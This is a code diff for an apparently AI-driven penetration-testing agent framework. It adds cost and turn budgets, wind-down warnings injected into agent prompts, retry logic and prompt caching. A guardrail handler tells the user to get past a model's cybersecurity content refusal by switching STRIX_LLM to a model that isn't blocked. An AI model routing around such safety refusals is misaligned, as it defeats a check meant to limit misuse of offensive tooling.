"pending_counts": dict(self.pending_counts),
|
||||
"errors": dict(self.errors),
|
||||
"budget_stopped": self._budget_stopped,
|
||||
"reserve_stopped": self._reserve_stopped,
|
||||
"budget_paused": self._budget_paused,
|
||||
}
|
||||
|
||||
async def restore(self, snap: dict[str, Any]) -> None:
|
||||
@@ -310,6 +388,9 @@ class AgentCoordinator:
|
||||
self.metadata = {aid: dict(md) for aid, md in snap.get("metadata", {}).items()}
|
||||
self.pending_counts = dict(snap.get("pending_counts", {}))
|
||||
self.errors = dict(snap.get("errors", {}))
|
||||
self._budget_stopped = bool(snap.get("budget_stopped", False))
|
||||
self._reserve_stopped = bool(snap.get("reserve_stopped", False))
|
||||
self._budget_paused = bool(snap.get("budget_paused", False))
|
||||
for aid in self.statuses:
|
||||
self.runtimes.setdefault(aid, AgentRuntime())
|
||||
|
||||
|
||||
+194
-41
@@ -13,9 +13,20 @@ from agents import RunConfig, Runner
|
||||
from agents.exceptions import AgentsException, MaxTurnsExceeded, UserError
|
||||
from agents.sandbox.errors import ExecTransportError
|
||||
from docker import errors as docker_errors # type: ignore[import-untyped, unused-ignore]
|
||||
from openai import APIError
|
||||
from openai import (
|
||||
APIConnectionError,
|
||||
APIError,
|
||||
APIStatusError,
|
||||
APITimeoutError,
|
||||
RateLimitError,
|
||||
)
|
||||
|
||||
from strix.core.hooks import BudgetExceededError
|
||||
from strix.config import codex
|
||||
from strix.core.hooks import (
|
||||
BudgetExceededError,
|
||||
BudgetPausedError,
|
||||
SubagentBudgetReservedError,
|
||||
)
|
||||
from strix.core.inputs import child_initial_input
|
||||
from strix.core.sessions import (
|
||||
enforce_image_budget,
|
||||
@@ -78,6 +89,39 @@ async def _compact_session(
|
||||
)
|
||||
|
||||
|
||||
_GUARDRAIL_PARK_ERROR = (
|
||||
"Blocked by the model's content guardrail (flagged as a possible cybersecurity risk). "
|
||||
"Set STRIX_LLM to a model that isn't blocked and resume the scan to continue."
|
||||
)
|
||||
|
||||
_TRANSIENT_MODEL_STATUS_CODES = frozenset({408, 500, 502, 503, 504})
|
||||
_MAX_TRANSIENT_MODEL_RETRIES = 4
|
||||
_TRANSIENT_MODEL_RETRY_BASE_DELAY_S = 2.0
|
||||
_TRANSIENT_MODEL_RETRY_MAX_DELAY_S = 30.0
|
||||
|
||||
|
||||
def _model_error_status_code(exc: BaseException) -> int | None:
|
||||
code = getattr(exc, "status_code", None)
|
||||
return code if isinstance(code, int) else None
|
||||
|
||||
|
||||
def _is_transient_model_error(exc: BaseException) -> bool:
|
||||
if isinstance(exc, RateLimitError):
|
||||
return False
|
||||
if isinstance(exc, APITimeoutError | APIConnectionError):
|
||||
return True
|
||||
if isinstance(exc, APIStatusError):
|
||||
return exc.status_code in _TRANSIENT_MODEL_STATUS_CODES
|
||||
if isinstance(exc, APIError):
|
||||
return _model_error_status_code(exc) is None
|
||||
return False
|
||||
|
||||
|
||||
def _transient_model_retry_delay(attempt: int) -> float:
|
||||
delay = _TRANSIENT_MODEL_RETRY_BASE_DELAY_S * float(2 ** (attempt - 1))
|
||||
return min(delay, _TRANSIENT_MODEL_RETRY_MAX_DELAY_S)
|
||||
|
||||
|
||||
async def run_agent_loop(
|
||||
*,
|
||||
agent: Any,
|
||||
@@ -100,21 +144,34 @@ async def run_agent_loop(
|
||||
)
|
||||
result: RunResultBase | None = None
|
||||
|
||||
budget_stopped = coordinator.budget_stopped
|
||||
reserve_stopped = coordinator.reserve_stopped
|
||||
if budget_stopped:
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise BudgetExceededError("scan budget reached")
|
||||
if reserve_stopped and context.get("parent_id") is not None:
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise SubagentBudgetReservedError("scan reached the sub-agent budget reserve")
|
||||
|
||||
if reserve_stopped and start_parked and interactive and context.get("parent_id") is None:
|
||||
await coordinator.send(agent_id, _reserve_notice())
|
||||
|
||||
if not (start_parked and interactive):
|
||||
if interactive:
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
agent_id,
|
||||
input_data=initial_input,
|
||||
run_config=run_config,
|
||||
context=context,
|
||||
max_turns=max_turns,
|
||||
session=session,
|
||||
interactive=interactive,
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
with contextlib.suppress(BudgetPausedError):
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
agent_id,
|
||||
input_data=initial_input,
|
||||
run_config=run_config,
|
||||
context=context,
|
||||
max_turns=max_turns,
|
||||
session=session,
|
||||
interactive=interactive,
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
else:
|
||||
result = await _run_noninteractive_until_lifecycle(
|
||||
agent,
|
||||
@@ -142,20 +199,25 @@ async def run_agent_loop(
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise BudgetExceededError("scan budget reached")
|
||||
|
||||
if coordinator.reserve_stopped and context.get("parent_id") is not None:
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise SubagentBudgetReservedError("scan reached the sub-agent budget reserve")
|
||||
|
||||
await coordinator.consume_pending(agent_id)
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
agent_id,
|
||||
input_data=[],
|
||||
run_config=run_config,
|
||||
context=context,
|
||||
max_turns=max_turns,
|
||||
session=session,
|
||||
interactive=interactive,
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
with contextlib.suppress(BudgetPausedError):
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
agent_id,
|
||||
input_data=[],
|
||||
run_config=run_config,
|
||||
context=context,
|
||||
max_turns=max_turns,
|
||||
session=session,
|
||||
interactive=interactive,
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
|
||||
|
||||
async def spawn_child_agent(
|
||||
@@ -248,6 +310,7 @@ async def respawn_subagents(
|
||||
if coordinator.parent_of.get(aid) is None or aid == root_id:
|
||||
continue
|
||||
md["_restored_status"] = status
|
||||
md["_restored_error"] = coordinator.errors.get(aid)
|
||||
candidates.append(
|
||||
(
|
||||
aid,
|
||||
@@ -260,7 +323,8 @@ async def respawn_subagents(
|
||||
for child_id, name, parent_id, md in candidates:
|
||||
try:
|
||||
restored_status = str(md.get("_restored_status") or "running")
|
||||
start_parked = interactive and restored_status != "running"
|
||||
recoverable_park = restored_status == "waiting" and bool(md.get("_restored_error"))
|
||||
start_parked = interactive and restored_status != "running" and not recoverable_park
|
||||
|
||||
if start_parked:
|
||||
logger.warning(
|
||||
@@ -327,6 +391,10 @@ async def _run_noninteractive_until_lifecycle(
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise BudgetExceededError("scan budget reached")
|
||||
|
||||
if coordinator.reserve_stopped and context.get("parent_id") is not None:
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
raise SubagentBudgetReservedError("scan reached the sub-agent budget reserve")
|
||||
|
||||
result = await _run_cycle(
|
||||
agent,
|
||||
coordinator,
|
||||
@@ -357,7 +425,7 @@ async def _run_noninteractive_until_lifecycle(
|
||||
|
||||
if invalid_final_outputs >= invalid_final_output_limit:
|
||||
await coordinator.set_status(agent_id, "crashed")
|
||||
await _notify_parent_on_crash(coordinator, agent_id, "crashed")
|
||||
await _notify_parent_on_terminal(coordinator, agent_id, "crashed")
|
||||
raise MaxTurnsExceeded(
|
||||
"Agent exhausted non-interactive recovery attempts without calling "
|
||||
"finish_scan or agent_finish."
|
||||
@@ -387,6 +455,7 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
) -> RunResultBase | None:
|
||||
image_strips = 0
|
||||
compactions = 0
|
||||
model_retries = 0
|
||||
while True:
|
||||
try:
|
||||
await coordinator.mark_running(agent_id)
|
||||
@@ -421,9 +490,7 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
logger.exception("stream event sink failed for %s", agent_id)
|
||||
if stream.run_loop_exception is not None:
|
||||
raise stream.run_loop_exception
|
||||
except BudgetExceededError:
|
||||
# A RuntimeError subclass: re-raise explicitly so it is never
|
||||
# mistaken for the LiteLLM "after shutdown" race below.
|
||||
except (BudgetExceededError, BudgetPausedError, SubagentBudgetReservedError):
|
||||
raise
|
||||
except RuntimeError as stream_exc:
|
||||
if "after shutdown" not in str(stream_exc):
|
||||
@@ -442,6 +509,15 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
)
|
||||
finally:
|
||||
await coordinator.detach_stream(agent_id, stream)
|
||||
except BudgetPausedError as exc:
|
||||
logger.info("agent %s paused at the scan budget limit: %s", agent_id, exc)
|
||||
await coordinator.pause_for_budget(agent_id)
|
||||
raise
|
||||
except SubagentBudgetReservedError as exc:
|
||||
logger.info("sub-agent %s stopped at the budget reserve: %s", agent_id, exc)
|
||||
await coordinator.set_status(agent_id, "stopped")
|
||||
await _notify_root_on_budget_reserve(coordinator)
|
||||
raise
|
||||
except BudgetExceededError as exc:
|
||||
logger.info(
|
||||
"agent %s reached the scan budget limit; stopping the scan: %s", agent_id, exc
|
||||
@@ -488,6 +564,26 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
)
|
||||
input_data = []
|
||||
continue
|
||||
if model_retries < _MAX_TRANSIENT_MODEL_RETRIES and _is_transient_model_error(exc):
|
||||
model_retries += 1
|
||||
delay = _transient_model_retry_delay(model_retries)
|
||||
logger.warning(
|
||||
"transient model/provider error for %s; replaying turn "
|
||||
"(attempt %d/%d, backoff %.1fs): %r",
|
||||
agent_id,
|
||||
model_retries,
|
||||
_MAX_TRANSIENT_MODEL_RETRIES,
|
||||
delay,
|
||||
exc,
|
||||
)
|
||||
await asyncio.sleep(delay)
|
||||
if session is not None:
|
||||
input_data = []
|
||||
continue
|
||||
if codex.is_content_guardrail_error(exc):
|
||||
return await _handle_content_guardrail(
|
||||
coordinator, agent_id, exc, interactive=interactive
|
||||
)
|
||||
if not interactive:
|
||||
raise
|
||||
if isinstance(exc, MaxTurnsExceeded):
|
||||
@@ -498,13 +594,29 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
status = "crashed"
|
||||
logger.exception("agent run failed for %s; parking as %s", agent_id, status)
|
||||
await coordinator.set_status(agent_id, status, error=str(exc) or type(exc).__name__)
|
||||
await _notify_parent_on_crash(coordinator, agent_id, status)
|
||||
await _notify_parent_on_terminal(coordinator, agent_id, status)
|
||||
return None
|
||||
else:
|
||||
await _settle_run_result(coordinator, agent_id, interactive)
|
||||
return stream
|
||||
|
||||
|
||||
async def _handle_content_guardrail(
|
||||
coordinator: AgentCoordinator,
|
||||
agent_id: str,
|
||||
exc: BaseException,
|
||||
*,
|
||||
interactive: bool,
|
||||
) -> RunResultBase | None:
|
||||
logger.warning("agent %s blocked by the model's content guardrail: %s", agent_id, exc)
|
||||
if interactive:
|
||||
await coordinator.set_status(agent_id, "waiting", error=_GUARDRAIL_PARK_ERROR)
|
||||
return None
|
||||
await coordinator.set_status(agent_id, "failed", error=_GUARDRAIL_PARK_ERROR)
|
||||
await _notify_parent_on_terminal(coordinator, agent_id, "failed")
|
||||
return None
|
||||
|
||||
|
||||
async def _settle_run_result(
|
||||
coordinator: AgentCoordinator,
|
||||
agent_id: str,
|
||||
@@ -562,12 +674,31 @@ async def _append_noninteractive_tool_required_message(
|
||||
return []
|
||||
|
||||
|
||||
async def _notify_parent_on_crash(
|
||||
_TERMINAL_NOTICE = {
|
||||
"crashed": (
|
||||
"[Agent crash] {name} ({agent_id}) terminated unexpectedly. "
|
||||
"Stop waiting on this child unless you want to message it again."
|
||||
),
|
||||
"failed": (
|
||||
"[Agent failed] {name} ({agent_id}) stopped with an error and will not "
|
||||
"send a completion report. Stop waiting on this child unless you want to "
|
||||
"message it again."
|
||||
),
|
||||
"stopped": (
|
||||
"[Agent capped] {name} ({agent_id}) hit its turn limit and was stopped "
|
||||
"before finishing. It will not send a completion report, so stop waiting "
|
||||
"on this child; account for its capped subtask and continue."
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
async def _notify_parent_on_terminal(
|
||||
coordinator: AgentCoordinator,
|
||||
agent_id: str,
|
||||
status: str,
|
||||
) -> None:
|
||||
if status != "crashed":
|
||||
template = _TERMINAL_NOTICE.get(status)
|
||||
if template is None:
|
||||
return
|
||||
async with coordinator._lock:
|
||||
parent = coordinator.parent_of.get(agent_id)
|
||||
@@ -578,16 +709,36 @@ async def _notify_parent_on_crash(
|
||||
parent,
|
||||
{
|
||||
"from": agent_id,
|
||||
"type": "crash",
|
||||
"type": status,
|
||||
"priority": "high",
|
||||
"content": (
|
||||
f"[Agent crash] {name} ({agent_id}) terminated unexpectedly. "
|
||||
"Stop waiting on this child unless you want to message it again."
|
||||
),
|
||||
"content": template.format(name=name, agent_id=agent_id),
|
||||
},
|
||||
interrupt=False,
|
||||
)
|
||||
|
||||
|
||||
def _reserve_notice() -> dict[str, Any]:
|
||||
return {
|
||||
"from": "system",
|
||||
"type": "budget_reserve_stop",
|
||||
"priority": "high",
|
||||
"content": (
|
||||
"[Budget reserve] The scan has reached the sub-agent budget reserve: every "
|
||||
"sub-agent is being force-stopped as soon as its in-flight turn completes, and "
|
||||
"none will send a completion report. Their confirmed vulnerabilities are "
|
||||
"already filed as they were found. Do not wait on any sub-agents and do not "
|
||||
"spawn new ones — wrap up now and call finish_scan."
|
||||
),
|
||||
}
|
||||
|
||||
|
||||
async def _notify_root_on_budget_reserve(coordinator: AgentCoordinator) -> None:
|
||||
root = await coordinator.claim_reserve_notification()
|
||||
if root is None:
|
||||
return
|
||||
await coordinator.send(root, _reserve_notice())
|
||||
|
||||
|
||||
async def _start_child_runner(
|
||||
*,
|
||||
parent_ctx: dict[str, Any],
|
||||
@@ -639,6 +790,8 @@ async def _start_child_runner(
|
||||
)
|
||||
except BudgetExceededError:
|
||||
logger.info("child %s stopped after reaching the scan budget limit", child_id)
|
||||
except SubagentBudgetReservedError:
|
||||
logger.info("child %s stopped at the sub-agent budget reserve", child_id)
|
||||
|
||||
task_handle = asyncio.create_task(_child_loop(), name=f"agent-{name}-{child_id}")
|
||||
await coordinator.attach_runtime(child_id, task=task_handle)
|
||||
|
||||
+203
-4
@@ -14,26 +14,210 @@ from strix.report.state import get_global_report_state
|
||||
if TYPE_CHECKING:
|
||||
from agents import RunContextWrapper
|
||||
from agents.agent import Agent
|
||||
from agents.items import ModelResponse
|
||||
from agents.items import ModelResponse, TResponseInputItem
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
_STAGE_LABELS: tuple[str, ...] = ("NOTICE", "URGENT", "CRITICAL")
|
||||
_TURN_WARN_BANDS: tuple[float, ...] = (0.70, 0.85, 0.95)
|
||||
_ROOT_BUDGET_WARN_BANDS: tuple[float, ...] = (0.70, 0.85, 0.95)
|
||||
_SUBAGENT_BUDGET_WARN_BANDS: tuple[float, ...] = (0.75, 0.80, 0.85)
|
||||
_SUBAGENT_BUDGET_RESERVE = 0.90
|
||||
|
||||
|
||||
class BudgetExceededError(RuntimeError):
|
||||
"""Raised when the accumulated LLM cost reaches the configured budget."""
|
||||
|
||||
|
||||
class ReportUsageHooks(RunHooks[dict[str, Any]]):
|
||||
"""Persist SDK-native usage after every model response."""
|
||||
class SubagentBudgetReservedError(RuntimeError):
|
||||
"""Raised to stop a single sub-agent once the reserve threshold is crossed."""
|
||||
|
||||
def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None:
|
||||
|
||||
class BudgetPausedError(RuntimeError):
|
||||
"""Raised to park one agent when an interactive scan reaches its budget."""
|
||||
|
||||
|
||||
def recomputed_budget_flags(
|
||||
cost: float,
|
||||
max_budget_usd: float | None,
|
||||
*,
|
||||
interactive: bool,
|
||||
) -> tuple[bool, bool]:
|
||||
"""Return the (budget_stopped, reserve_stopped) flags a resumed scan should carry."""
|
||||
if max_budget_usd is None:
|
||||
return False, False
|
||||
if interactive:
|
||||
return False, False
|
||||
budget_stopped = cost >= max_budget_usd
|
||||
reserve_stopped = cost >= max_budget_usd * _SUBAGENT_BUDGET_RESERVE
|
||||
return budget_stopped, reserve_stopped
|
||||
|
||||
|
||||
def _crossed_stage(fraction: float, bands: tuple[float, ...]) -> int | None:
|
||||
crossed: int | None = None
|
||||
for index, band in enumerate(bands):
|
||||
if fraction >= band:
|
||||
crossed = index
|
||||
return crossed
|
||||
|
||||
|
||||
_ROOT_DIRECTIVES: tuple[str, ...] = (
|
||||
(
|
||||
"As the root agent, begin planning your wind-down of the whole scan: avoid "
|
||||
"starting large new lines of investigation, and keep your required objectives on "
|
||||
"track so you can call finish_scan comfortably before the limit."
|
||||
),
|
||||
(
|
||||
"As the root agent, prioritize wrapping up the whole scan now: stop opening new "
|
||||
"lines of investigation, close out only what is essential, and move toward calling "
|
||||
"finish_scan to compile and deliver the final report."
|
||||
),
|
||||
(
|
||||
"As the root agent, STOP all other work on the whole scan and finish immediately: "
|
||||
"secure your findings and call finish_scan now — anything left unfinished when the "
|
||||
"limit is hit is discarded."
|
||||
),
|
||||
)
|
||||
_SUBAGENT_DIRECTIVES: tuple[str, ...] = (
|
||||
(
|
||||
"As a sub-agent, begin planning your wind-down: avoid starting large new subtasks, "
|
||||
"and if you are close to a confirmed, validated vulnerability, drive it to a result "
|
||||
"you can report."
|
||||
),
|
||||
(
|
||||
"As a sub-agent, prioritize wrapping up your task now: report any confirmed, "
|
||||
"validated vulnerability, finish work that is nearly done rather than starting "
|
||||
"anything new, and prepare to call agent_finish."
|
||||
),
|
||||
(
|
||||
"As a sub-agent, STOP all other work and finish immediately: report any confirmed "
|
||||
"vulnerability right now and call agent_finish to hand your results back to your "
|
||||
"parent before you are cut off."
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
def _wrapup_directive(context: RunContextWrapper[dict[str, Any]], stage: int) -> str:
|
||||
is_root = context.context.get("parent_id") is None
|
||||
directives = _ROOT_DIRECTIVES if is_root else _SUBAGENT_DIRECTIVES
|
||||
return directives[stage]
|
||||
|
||||
|
||||
def _urgency(stage: int) -> str:
|
||||
return _STAGE_LABELS[stage]
|
||||
|
||||
|
||||
class ReportUsageHooks(RunHooks[dict[str, Any]]):
|
||||
"""Persist SDK-native usage and warn/stop as turn and cost budgets are consumed."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
model: str,
|
||||
max_budget_usd: float | None = None,
|
||||
max_turns: int | None = None,
|
||||
interactive: bool = False,
|
||||
) -> None:
|
||||
if max_budget_usd is not None and (
|
||||
not math.isfinite(max_budget_usd) or max_budget_usd <= 0
|
||||
):
|
||||
raise ValueError("max_budget_usd must be a finite number greater than 0")
|
||||
if max_turns is not None and max_turns <= 0:
|
||||
raise ValueError("max_turns must be a positive integer")
|
||||
self._model = model
|
||||
self._max_budget_usd = max_budget_usd
|
||||
self._budget_increment = max_budget_usd
|
||||
self._max_turns = max_turns
|
||||
self._interactive = interactive
|
||||
|
||||
def extend_budget(self) -> None:
|
||||
if self._max_budget_usd is None or self._budget_increment is None:
|
||||
return
|
||||
self._max_budget_usd += self._budget_increment
|
||||
|
||||
async def on_llm_start(
|
||||
self,
|
||||
context: RunContextWrapper[dict[str, Any]],
|
||||
agent: Agent[dict[str, Any]], # noqa: ARG002
|
||||
system_prompt: str | None, # noqa: ARG002
|
||||
input_items: list[TResponseInputItem],
|
||||
) -> None:
|
||||
try:
|
||||
self._maybe_warn_turns(context, input_items)
|
||||
self._maybe_warn_budget(context, input_items)
|
||||
except Exception:
|
||||
logger.exception("budget/turn warning injection failed")
|
||||
|
||||
def _maybe_warn_turns(
|
||||
self,
|
||||
context: RunContextWrapper[dict[str, Any]],
|
||||
input_items: list[TResponseInputItem],
|
||||
) -> None:
|
||||
if not self._max_turns:
|
||||
return
|
||||
usage = getattr(context, "usage", None)
|
||||
requests = getattr(usage, "requests", None)
|
||||
if not isinstance(requests, int):
|
||||
return
|
||||
turns_used = requests + 1
|
||||
stage = _crossed_stage(turns_used / self._max_turns, _TURN_WARN_BANDS)
|
||||
if stage is None:
|
||||
return
|
||||
remaining = max(self._max_turns - turns_used, 0)
|
||||
pct = round(100 * turns_used / self._max_turns)
|
||||
content = (
|
||||
f"[{_urgency(stage)}] Turn budget: {turns_used}/{self._max_turns} used ({pct}%). "
|
||||
f"About {remaining} turn(s) remain before this agent is force-stopped and any "
|
||||
f"in-progress work is discarded. {_wrapup_directive(context, stage)}"
|
||||
)
|
||||
input_items.append({"role": "user", "content": content})
|
||||
|
||||
def _maybe_warn_budget(
|
||||
self,
|
||||
context: RunContextWrapper[dict[str, Any]],
|
||||
input_items: list[TResponseInputItem],
|
||||
) -> None:
|
||||
if self._max_budget_usd is None:
|
||||
return
|
||||
report_state = get_global_report_state()
|
||||
if report_state is None:
|
||||
return
|
||||
cost = report_state.get_total_llm_cost()
|
||||
is_root = context.context.get("parent_id") is None
|
||||
if self._interactive:
|
||||
bands = _ROOT_BUDGET_WARN_BANDS
|
||||
else:
|
||||
bands = _ROOT_BUDGET_WARN_BANDS if is_root else _SUBAGENT_BUDGET_WARN_BANDS
|
||||
stage = _crossed_stage(cost / self._max_budget_usd, bands)
|
||||
if stage is None:
|
||||
return
|
||||
pct = round(100 * cost / self._max_budget_usd)
|
||||
reserve_pct = round(_SUBAGENT_BUDGET_RESERVE * 100)
|
||||
if self._interactive:
|
||||
content = (
|
||||
f"[{_urgency(stage)}] Scan cost budget: ${cost:.2f}/${self._max_budget_usd:.2f} "
|
||||
f"spent ({pct}%). This budget is shared across every agent in the scan; when it "
|
||||
"is reached all agents are paused until the user chooses to continue. "
|
||||
f"{_wrapup_directive(context, stage)}"
|
||||
)
|
||||
elif is_root:
|
||||
content = (
|
||||
f"[{_urgency(stage)}] Scan cost budget: ${cost:.2f}/${self._max_budget_usd:.2f} "
|
||||
f"spent ({pct}%). This budget is shared across every agent in the scan; when it "
|
||||
"is reached the whole scan is stopped immediately, and sub-agents are stopped at "
|
||||
f"{reserve_pct}% to reserve the remainder for your final report. "
|
||||
f"{_wrapup_directive(context, stage)}"
|
||||
)
|
||||
else:
|
||||
content = (
|
||||
f"[{_urgency(stage)}] Scan cost budget: ${cost:.2f}/${self._max_budget_usd:.2f} "
|
||||
f"spent ({pct}%). This budget is shared across every agent in the scan; "
|
||||
f"sub-agents are stopped at {reserve_pct}% to leave the remainder for the root "
|
||||
f"agent's final report. {_wrapup_directive(context, stage)}"
|
||||
)
|
||||
input_items.append({"role": "user", "content": content})
|
||||
|
||||
async def on_llm_end(
|
||||
self,
|
||||
@@ -66,6 +250,21 @@ class ReportUsageHooks(RunHooks[dict[str, Any]]):
|
||||
if self._max_budget_usd is not None:
|
||||
cost = report_state.get_total_llm_cost()
|
||||
if cost >= self._max_budget_usd:
|
||||
if self._interactive:
|
||||
raise BudgetPausedError(
|
||||
f"Scan budget of ${self._max_budget_usd:.2f} reached "
|
||||
f"(spent ${cost:.4f}); pausing until the user continues"
|
||||
)
|
||||
raise BudgetExceededError(
|
||||
f"Token budget of ${self._max_budget_usd:.2f} exceeded (spent ${cost:.4f})"
|
||||
)
|
||||
is_root = ctx.get("parent_id") is None
|
||||
if not self._interactive and not is_root:
|
||||
reserve_limit = self._max_budget_usd * _SUBAGENT_BUDGET_RESERVE
|
||||
if cost >= reserve_limit:
|
||||
raise SubagentBudgetReservedError(
|
||||
f"Sub-agent budget reserve reached: spent ${cost:.4f} of "
|
||||
f"${self._max_budget_usd:.2f} "
|
||||
f"(>= {round(_SUBAGENT_BUDGET_RESERVE * 100)}% reserve); stopping this "
|
||||
"sub-agent so the root agent can finish the scan."
|
||||
)
|
||||
|
||||
@@ -10,6 +10,9 @@ from openai.types.shared import Reasoning
|
||||
|
||||
from strix.config.models import (
|
||||
DEFAULT_MODEL_RETRY,
|
||||
bedrock_route_supports_prompt_caching,
|
||||
is_bedrock_route,
|
||||
is_claude_model,
|
||||
is_known_openai_bare_model,
|
||||
model_supports_reasoning,
|
||||
request_timeout_extra_args,
|
||||
@@ -128,12 +131,15 @@ def make_model_settings(
|
||||
model_name: str,
|
||||
force_required_tool_choice: bool = False,
|
||||
request_timeout: float | None = None,
|
||||
prompt_cache: bool = True,
|
||||
extra_headers: dict[str, str] | None = None,
|
||||
) -> ModelSettings:
|
||||
model_settings = ModelSettings(
|
||||
parallel_tool_calls=False,
|
||||
retry=DEFAULT_MODEL_RETRY,
|
||||
include_usage=True,
|
||||
extra_args=request_timeout_extra_args(request_timeout),
|
||||
extra_headers=dict(extra_headers) if extra_headers else None,
|
||||
)
|
||||
if (
|
||||
reasoning_effort is not None
|
||||
@@ -145,9 +151,38 @@ def make_model_settings(
|
||||
)
|
||||
if force_required_tool_choice and _accepts_required_tool_choice(model_name):
|
||||
model_settings = model_settings.resolve(ModelSettings(tool_choice="required"))
|
||||
|
||||
cache_extra_args = _prompt_cache_extra_args(model_name) if prompt_cache else None
|
||||
if cache_extra_args:
|
||||
model_settings = model_settings.resolve(
|
||||
ModelSettings(
|
||||
extra_args={**(model_settings.extra_args or {}), **cache_extra_args},
|
||||
),
|
||||
)
|
||||
return model_settings
|
||||
|
||||
|
||||
def _prompt_cache_extra_args(model_name: str) -> dict[str, Any] | None:
|
||||
"""LiteLLM ``cache_control_injection_points`` for Claude prompt caching.
|
||||
|
||||
System prompt + rolling last-message breakpoint everywhere; ``tool_config``
|
||||
only on Bedrock Converse (the only route whose LiteLLM transform consumes
|
||||
it — elsewhere it leaks onto the wire and native Anthropic 400s). Unmapped
|
||||
Bedrock models get no points at all: Bedrock rejects the passed-through
|
||||
field outright.
|
||||
"""
|
||||
if not is_claude_model(model_name):
|
||||
return None
|
||||
if is_bedrock_route(model_name) and not bedrock_route_supports_prompt_caching(model_name):
|
||||
return None
|
||||
|
||||
points: list[dict[str, Any]] = [{"location": "message", "role": "system"}]
|
||||
if is_bedrock_route(model_name):
|
||||
points.append({"location": "tool_config"})
|
||||
points.append({"location": "message", "index": -1})
|
||||
return {"cache_control_injection_points": points}
|
||||
|
||||
|
||||
def child_initial_input(
|
||||
*,
|
||||
name: str,
|
||||
|
||||
+31
-3
@@ -31,7 +31,7 @@ from strix.core.execution import (
|
||||
from strix.core.execution import (
|
||||
spawn_child_agent as start_child_agent,
|
||||
)
|
||||
from strix.core.hooks import BudgetExceededError, ReportUsageHooks
|
||||
from strix.core.hooks import BudgetExceededError, ReportUsageHooks, recomputed_budget_flags
|
||||
from strix.core.inputs import (
|
||||
DEFAULT_MAX_TURNS,
|
||||
build_root_task,
|
||||
@@ -40,6 +40,7 @@ from strix.core.inputs import (
|
||||
)
|
||||
from strix.core.paths import run_dir_for, runtime_state_dir
|
||||
from strix.core.sessions import open_agent_session
|
||||
from strix.report.state import get_global_report_state
|
||||
from strix.runtime import session_manager
|
||||
from strix.telemetry.logging import set_scan_id, setup_scan_logging
|
||||
from strix.tools.output_store import (
|
||||
@@ -185,6 +186,18 @@ async def run_strix_scan(
|
||||
f"Cannot resume scan {scan_id}: missing SDK session database at {agents_db}",
|
||||
)
|
||||
await coordinator.restore(snap)
|
||||
report_state = get_global_report_state()
|
||||
if report_state is not None:
|
||||
budget_stopped, reserve_stopped = recomputed_budget_flags(
|
||||
report_state.get_total_llm_cost(),
|
||||
max_budget_usd,
|
||||
interactive=interactive,
|
||||
)
|
||||
await coordinator.reset_budget_stops(
|
||||
budget_stopped=budget_stopped,
|
||||
reserve_stopped=reserve_stopped,
|
||||
budget_paused=interactive and coordinator.budget_paused,
|
||||
)
|
||||
for aid, parent in coordinator.parent_of.items():
|
||||
if parent is None:
|
||||
root_id = aid
|
||||
@@ -236,6 +249,8 @@ async def run_strix_scan(
|
||||
model_name=resolved_model,
|
||||
force_required_tool_choice=settings.llm.force_required_tool_choice,
|
||||
request_timeout=settings.llm.timeout,
|
||||
prompt_cache=settings.llm.prompt_cache,
|
||||
extra_headers=settings.llm.extra_headers,
|
||||
)
|
||||
run_config = RunConfig(
|
||||
model=resolved_model,
|
||||
@@ -244,7 +259,14 @@ async def run_strix_scan(
|
||||
sandbox=SandboxRunConfig(client=bundle["client"], session=bundle["session"]),
|
||||
trace_include_sensitive_data=False,
|
||||
)
|
||||
hooks = ReportUsageHooks(model=resolved_model, max_budget_usd=max_budget_usd)
|
||||
hooks = ReportUsageHooks(
|
||||
model=resolved_model,
|
||||
max_budget_usd=max_budget_usd,
|
||||
max_turns=max_turns,
|
||||
interactive=interactive,
|
||||
)
|
||||
if interactive:
|
||||
coordinator.set_budget_extender(hooks.extend_budget)
|
||||
|
||||
scope_context = build_scope_context(scan_config)
|
||||
root_context = _merge_root_prompt_context(scope_context, extra_system_prompt_context)
|
||||
@@ -355,6 +377,12 @@ async def run_strix_scan(
|
||||
|
||||
async with coordinator._lock:
|
||||
root_status = coordinator.statuses.get(root_id)
|
||||
root_error = coordinator.errors.get(root_id)
|
||||
|
||||
root_recoverable_park = root_status == "waiting" and bool(root_error)
|
||||
root_start_parked = bool(
|
||||
interactive and is_resume and root_status != "running" and not root_recoverable_park
|
||||
)
|
||||
|
||||
result = await run_agent_loop(
|
||||
agent=root_agent,
|
||||
@@ -366,7 +394,7 @@ async def run_strix_scan(
|
||||
agent_id=root_id,
|
||||
interactive=interactive,
|
||||
session=root_session,
|
||||
start_parked=bool(interactive and is_resume and root_status != "running"),
|
||||
start_parked=root_start_parked,
|
||||
event_sink=event_sink,
|
||||
hooks=hooks,
|
||||
)
|
||||
|
||||
@@ -13,6 +13,7 @@ from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.config import load_settings
|
||||
from strix.core.inputs import DEFAULT_MAX_TURNS
|
||||
from strix.core.runner import run_strix_scan
|
||||
from strix.report.state import ReportState, set_global_report_state
|
||||
